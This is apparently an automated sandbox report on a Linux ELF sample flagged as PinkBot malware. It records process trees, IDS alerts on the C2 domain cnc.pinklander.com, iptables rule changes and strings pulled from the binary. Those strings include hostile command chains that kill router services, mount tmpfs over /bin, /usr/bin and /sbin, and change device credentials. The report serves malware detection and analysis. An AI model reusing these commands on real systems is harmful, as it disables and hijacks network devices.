Edit tour

Linux Analysis Report
file.elf

Overview

General Information

Sample name:	file.elf
Analysis ID:	1587491
MD5:	3a620ff356686b461e0e1a12535bea24
SHA1:	a1f6ddfdd78885eb585704131b6dac1d0abae4ea
SHA256:	a430ed516a8a596570bc3a496b99cf6c7dd0a69ae0614ab2d2de6e9a8a6c2fc8
Tags:	elfPinksluser-Bitsight
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Executes the "iptables" command to insert, remove and/or manipulate rules

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "iptables" command used for managing IP filtering and manipulation

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Sleeps for long times indicative of sandbox evasion

Suricata IDS alerts with low severity for network traffic

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587491
Start date and time:	2025-01-10 13:04:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	file.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/18@4/0

Warnings

VT rate limit hit for: cnc.pinklander.com

Runtime Messages

Command:	/tmp/file.elf
PID:	5523
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

file.elf (PID: 5523, Parent: 5441, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/file.elf

file.elf New Fork (PID: 5525, Parent: 5523)

file.elf New Fork (PID: 5527, Parent: 5525)

file.elf New Fork (PID: 5538, Parent: 5525)

sh (PID: 5538, Parent: 5525, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE"

sh New Fork (PID: 5540, Parent: 5538)

iptables (PID: 5540, Parent: 5538, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE

file.elf New Fork (PID: 5546, Parent: 5525)

sh (PID: 5546, Parent: 5525, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE"

sh New Fork (PID: 5548, Parent: 5546)

iptables (PID: 5548, Parent: 5546, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE

file.elf New Fork (PID: 5549, Parent: 5525)

file.elf New Fork (PID: 5555, Parent: 5549)

file.elf New Fork (PID: 5557, Parent: 5549)

sh (PID: 5557, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5559, Parent: 5557)

iptables (PID: 5559, Parent: 5557, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5587, Parent: 5549)

sh (PID: 5587, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5589, Parent: 5587)

iptables (PID: 5589, Parent: 5587, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5599, Parent: 5549)

sh (PID: 5599, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5601, Parent: 5599)

iptables (PID: 5601, Parent: 5599, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5610, Parent: 5549)

sh (PID: 5610, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5612, Parent: 5610)

iptables (PID: 5612, Parent: 5610, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5629, Parent: 5549)

sh (PID: 5629, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5635, Parent: 5629)

iptables (PID: 5635, Parent: 5629, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5642, Parent: 5549)

sh (PID: 5642, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5644, Parent: 5642)

iptables (PID: 5644, Parent: 5642, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5652, Parent: 5549)

sh (PID: 5652, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5654, Parent: 5652)

iptables (PID: 5654, Parent: 5652, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5665, Parent: 5549)

sh (PID: 5665, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"

sh New Fork (PID: 5667, Parent: 5665)

iptables (PID: 5667, Parent: 5665, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L OUTPUT

file.elf New Fork (PID: 5550, Parent: 5525)

file.elf New Fork (PID: 5618, Parent: 5550)

file.elf New Fork (PID: 5620, Parent: 5618)

sh (PID: 5620, Parent: 5618, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L INPUT > /tmp/pink/p2p_ipt_check"

sh New Fork (PID: 5622, Parent: 5620)

iptables (PID: 5622, Parent: 5620, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L INPUT

file.elf New Fork (PID: 5623, Parent: 5618)

sh (PID: 5623, Parent: 5618, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT"

sh New Fork (PID: 5625, Parent: 5623)

iptables (PID: 5625, Parent: 5623, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT

file.elf New Fork (PID: 5671, Parent: 5550)

file.elf New Fork (PID: 5673, Parent: 5671)

sh (PID: 5673, Parent: 5671, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/iptables -n -L INPUT > /tmp/pink/p2p_ipt_check"

sh New Fork (PID: 5675, Parent: 5673)

iptables (PID: 5675, Parent: 5673, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: /sbin/iptables -n -L INPUT

file.elf New Fork (PID: 5553, Parent: 5525)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T13:04:51.926756+0100	2034317	1	Domain Observed Used for C2 Detected	192.168.2.15	38412	8.8.8.8	53	UDP
2025-01-10T13:04:52.929204+0100	2034317	1	Domain Observed Used for C2 Detected	192.168.2.15	39744	8.8.8.8	53	UDP
2025-01-10T13:04:55.274675+0100	2034317	1	Domain Observed Used for C2 Detected	192.168.2.15	37414	8.8.8.8	53	UDP
2025-01-10T13:04:56.277243+0100	2034317	1	Domain Observed Used for C2 Detected	192.168.2.15	45062	8.8.8.8	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T13:04:59.509942+0100	2018141	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.15	50788	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T13:04:59.509942+0100	2037771	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.15	50788	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: file.elf	Virustotal: Detection: 57%			Perma Link
Source: file.elf	ReversingLabs: Detection: 60%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034317 - Severity 1 - ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com) : 192.168.2.15:39744 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2034317 - Severity 1 - ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com) : 192.168.2.15:45062 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2034317 - Severity 1 - ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com) : 192.168.2.15:37414 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2034317 - Severity 1 - ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com) : 192.168.2.15:38412 -> 8.8.8.8:53

Executes the "iptables" command to insert, remove and/or manipulate rules

Source: /bin/sh (PID: 5540)	Iptables executable using switch for changing the iptables rules: /sbin/iptables -> /sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5548)	Iptables executable using switch for changing the iptables rules: /sbin/iptables -> /sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5625)	Iptables executable using switch for changing the iptables rules: /sbin/iptables -> /sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 53726 -> 1088

Source: global traffic

TCP traffic: 192.168.2.15:53726 -> 13.251.16.150:1088

Source: /bin/sh (PID: 5540)	Iptables executable: /sbin/iptables -> /sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5548)	Iptables executable: /sbin/iptables -> /sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5559)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5589)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5601)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5612)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5635)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5644)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5654)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5667)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5622)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L INPUT	Jump to behavior
Source: /bin/sh (PID: 5625)	Iptables executable: /sbin/iptables -> /sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5675)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L INPUT	Jump to behavior

Source: /tmp/file.elf (PID: 5525)	Socket: 127.0.0.1:61889			Jump to behavior
Source: /tmp/file.elf (PID: 5549)	Socket: 127.0.0.1:61869			Jump to behavior

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 13.251.16.150:80 -> 192.168.2.15:50788
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 13.251.16.150:80 -> 192.168.2.15:50788

Source: global traffic	HTTP traffic detected: GET /d/index.html HTTP/1.1Host: 150.16.251.13:1088Connection: Keep-AliveAccept: /Accept-Language: zh-cn,zh;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 150.16.251.13Connection: Keep-AliveAccept: /Accept-Language: zh-cn,zh;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0Accept-Encoding: gzip

Source: global traffic

DNS traffic detected: DNS query: cnc.pinklander.com

Source: file.elf	String found in binary or memory: http://%s:%d/d/index.html
Source: file.elf	String found in binary or memory: http://%s:%d/d/index.htmlcnc.pinklander.com/tmp/pink/cache_finder_page_webhttp://%s//tmp/pink/fc_ip%

Source: Initial sample	String containing 'busybox' found: busybox killall -9 httpd
Source: Initial sample	String containing 'busybox' found: busybox killall -9 tr69c
Source: Initial sample	String containing 'busybox' found: busybox killall -9 lld2d
Source: Initial sample	String containing 'busybox' found: busybox killall -9 pptp
Source: Initial sample	String containing 'busybox' found: busybox killall -9 openl2tpd
Source: Initial sample	String containing 'busybox' found: rm -rf /tmp/mybin;rm -rf /tmp/mytool;mkdir /tmp/mybin;mkdir /tmp/mytool;cp -rf /bin/* /tmp/mybin/;cp /bin/busybox /tmp/mytool/mount;cp /bin/busybox /tmp/mytool/cp;chmod 777 /tmp/mytool/;rm -rf /tmp/mybin/tr69c;rm -rf /tmp/mybin/pptp;rm -rf /tmp/mybin/openl2tpd;rm -rf /tmp/mybin/lld2d;rm -rf /tmp/mybin/sntp;rm -rf /tmp/mybin/httpd;mount -t tmpfs -o size=40m tmpfs /bin;/tmp/mytool/cp -rf /tmp/mybin/ /bin/;rm -rf /tmp/mybin;rm -rf /tmp/mytool
Source: Initial sample	String containing 'busybox' found: rm -rf /tmp/mybin;rm -rf /tmp/mytool;mkdir /tmp/mybin;mkdir /tmp/mytool;cp -rf /bin/* /tmp/mybin/;cp /bin/busybox /tmp/mytool/mount;cp /bin/busybox /tmp/mytool/cp;chmod 777 /tmp/mytool/;rm -rf /tmp/mybin/tr69c;rm -rf /tmp/mybin/pptp;rm -rf /tmp/mybin/openl2tpd;rm -rf /tmp/mybin/lld2d;rm -rf /tmp/mybin/sntp;rm -rf /tmp/mybin/httpd;mount -t tmpfs -o size=40m tmpfs /bin;/tmp/mytool/cp -rf /tmp/mybin/ /bin/;rm -rf /tmp/mybin/;cp -rf /usr/bin/ /tmp/mybin/;mount -t tmpfs -o size=1m tmpfs /usr/bin;cp -rf /tmp/mybin/* /usr/bin/;rm -rf /tmp/mybin;mount -t tmpfs -o size=1 tmpfs /sbin;mv /usr/bin/wget /usr/bin/init;cp /usr/bin/init /usr/bin/ifconfig;rm -rf /usr/bin/killall;
Source: Initial sample	String containing 'busybox' found: busybox killall -9 sntp
Source: Initial sample	String containing 'busybox' found: :%04X /proc/net/tcp/proc/net/udp/proc//proc/%s/fd/proc/%s/fd/%s%dfilterINPUTTCPDROPUDPACCEPTupnptelnetdigdmptdr/bin/mdm getvalues %s.NameTR069VOIPVOICESIPINTERNETIPTV/bin/mdm getnames InternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d.WANIPConnection./bin/mdm getnames InternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d.WANIPConnectionInternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d.WANIPConnection.%dWANPPPConnection./bin/mdm getnames InternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d.WANPPPConnectionInternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d.WANPPPConnection.%d/bin/mdm getnames InternetGatewayDevice.WANDevice.1InternetGatewayDevice.WANDevice.1.WANConnectionDevice/bin/mdm getnames InternetGatewayDevice.WANDevice.1.WANConnectionDeviceInternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d/tmp/kt/bin/mdm delobject InternetGatewayDevice.WANDevice.1.WANConnectionDevice.%d/bin/mdm setvalues InternetGatewayDevice.X_CU_Function.Web.UserName "%s"/bin/mdm setvalues InternetGatewa

Source: classification engine

Classification label: mal72.troj.linELF@0/18@4/0

Persistence and Installation Behavior

Executes the "iptables" command to insert, remove and/or manipulate rules

Source: /bin/sh (PID: 5540)	Iptables executable using switch for changing the iptables rules: /sbin/iptables -> /sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5548)	Iptables executable using switch for changing the iptables rules: /sbin/iptables -> /sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5625)	Iptables executable using switch for changing the iptables rules: /sbin/iptables -> /sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT	Jump to behavior

Source: /tmp/file.elf (PID: 5525)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/270/cmdline	Jump to behavior
Source: /tmp/file.elf (PID: 5525)	File opened: /proc/271/cmdline	Jump to behavior

Source: /tmp/file.elf (PID: 5538)	Shell command executed: /bin/sh -c "/sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE"	Jump to behavior
Source: /tmp/file.elf (PID: 5546)	Shell command executed: /bin/sh -c "/sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE"	Jump to behavior
Source: /tmp/file.elf (PID: 5557)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5587)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5599)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5610)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5629)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5642)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5652)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5665)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5620)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L INPUT > /tmp/pink/p2p_ipt_check"	Jump to behavior
Source: /tmp/file.elf (PID: 5623)	Shell command executed: /bin/sh -c "/sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT"	Jump to behavior
